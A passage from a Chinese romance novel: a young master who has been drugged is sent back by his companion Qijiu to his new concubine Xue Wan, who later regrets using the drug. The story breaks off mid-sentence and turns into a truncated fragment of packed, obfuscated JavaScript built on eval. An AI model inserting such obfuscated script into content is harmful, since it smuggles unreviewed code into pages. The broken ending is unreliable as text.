“看来郎君你还真是吃错药了……对不起了,我打得你疼吗?”
“没事……还好你打了我一巴掌,否则我可能会伤害到你了……”祈楚喝了一肚子的水,燥热感总算是褪去了几分,“肯定是母亲的主意,唉……给自己儿子下□□的母亲,天底下也就她独一份儿了。”
祈楚无奈地笑笑,扯开衣领用巴掌扇风。
真不知道母亲是看得起薛宛,还是看不起薛宛。
祈楚跑了几趟茅房,身上的潮红总算渐渐褪去,恢复了白皙的颜色。
柒奺将衣裙头发整理好,重新穿上罩衫,对祈楚说道:
“你这样失去理智,到时候伤了薛宛,也不好对司户家交代——如今你也清醒了,就收拾收拾赶紧过去吧,她见你这样跑出去,还不知道现在是不是在哭呢。”
“还要去?”祈楚哭丧着脸求道,“奺儿……今晚就让我留在你这吧……”
“今晚是你和薛宛的洞房花烛夜,留在我这里做什么?”柒奺笑笑,替祈楚扣好衣领的扣结,“你这样逃避终究不是办法,薛宛已经进了门,成了你的妾,你躲得过初一也躲不过十五,总是要面对她的……去吧,薛宛的背后还有司户夫妇,不要叫咱们将来难做。”
祈楚神色复杂地握着柒奺的手:“奺儿,我……”
“我都明白,郎君什么也不用说了。”
柒奺从床下捡起外袍,披在祈楚身上:“快去吧……夜已深了。”
.
薛宛总算是得偿所愿,可她却开心不起来。
因为自那以后,祈楚就再也没有来过她的馨兰苑,她盼星星盼月亮,却又觉得心中惭愧——那晚,她实不该心肿,掺了太多的药粉。好在祈楚及时解了药性,才没有对他的身体造成什么损伤。
她一直想找个机会,向祈楚道歉认错。
可她身为妾室,只能在自己院子里活动,或偶尔去花园走走,是去不得前厅,也出不得祈府。祈楚不来,她也寻不到他,行也思君,坐也思君。
而柒奺耐心等了几日,便前去登了二房的门。
就在她和祈楚去过二叔府上后,祈楚便让王保赵闲密切关注辛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};i